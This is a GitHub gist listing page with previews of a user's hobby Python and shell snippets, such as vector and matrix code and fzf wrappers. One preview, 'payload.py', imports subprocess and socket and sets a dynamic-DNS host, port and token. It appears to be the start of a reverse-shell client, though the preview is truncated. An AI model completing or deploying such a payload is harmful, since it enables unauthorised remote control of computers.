Skip to content

Instantly share code, notes, and snippets.

Avatar

Badgateway badgateway666

View GitHub Profile
View payload.py
#!/usr/bin/python
import subprocess
import socket
import time as t
service = "cronixx.ddns.net"
port = 30841
token = "123"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@badgateway666
badgateway666 / base_change.py
Created Sep 27, 2018
Decimal Number into different base
View base_change.py
def convert_to_base(input, outputbase):
output = []
next_number = input
while next_number > 0:
print("NextNumber: {0} | Base: {1} --> Next_number = {2} Rest = {3}".format(next_number,
outputbase,
int(next_number/outputbase),
int(next_number % outputbase)))
@badgateway666
badgateway666 / prompt.py
Last active Nov 16, 2018
Generators <3
View prompt.py
def PromptUser(prompt):
yield input(prompt)
def LoopGen(gen, *args, **kwargs):
while True:
for item in gen(*args, **kwargs):
yield item
View keybase.md

Keybase proof

I hereby claim:

  • I am cronixx on github.
  • I am crnxx (https://keybase.io/crnxx) on keybase.
  • I have a public key ASBCvsaTsBny7CsOxj-DlozgjzLTDm7EN8oobblXbpjaQAo

To claim this, I am signing this object:

@badgateway666
badgateway666 / Vector.py
Last active Jan 29, 2019
My vector implementation taking advantage of python's built-in Magic-Methods
View Vector.py
import math
import numbers
import random
class Vector(object):
""" My pythonic vector implementation """
def __init__(self, *args):
if len(args) == 1 and isinstance(args[0], list):
@badgateway666
badgateway666 / matrix_multiply.py
Created Aug 26, 2019
Matrix multiplication v1
View matrix_multiply.py
def matrix_multiply(m_1, m_2):
assert len(m_1[0]) == len(m_2)
r = list(map(lambda m: sum([x * y for x, y in zip(*m)]), [(x, y) for x in m_1 for y in zip(*m_2)]))
return [r[x:x+len(m_2[0])] for x in range(0, len(m_1)*len(m_2[0]), len(m_2[0]))]
View hello_world.py
list(map(print, map(lambda n : (chr(0x0).join(chr(x) for x in (int(n[3 * i:3 * i + 3]) for i in range(0, len(n) // 3)))), [ "104101108108111", "119111114108100" ])))
@badgateway666
badgateway666 / Series.py
Last active Sep 8, 2019
Sum fun. (BADUMTSS) v1
View Series.py
import random
from math import sqrt
import numpy as np
def harmonic_series(stop_after=-1):
"""
:param stop_after:
:return:
"""
View megaman.sh
#!/bin/bash
if [ $# -lt 1 ]; then
selection=$(man -k . | fzf | cut -f1 -d " ")
if [ -z selection ]; then
exit
fi
if man "$var" > /dev/null 2>&1
then
man -Tpdf "$var" | zathura - &
fi
@badgateway666
badgateway666 / media.sh
Created Dec 12, 2019
Media-Player Interface with fzf
View media.sh
#!/usr/bin/env bash
selection=$(ls -d ~/Musik/* ~/Videos/* | fzf )
cvlc "$selection"
You can’t perform that action at this time.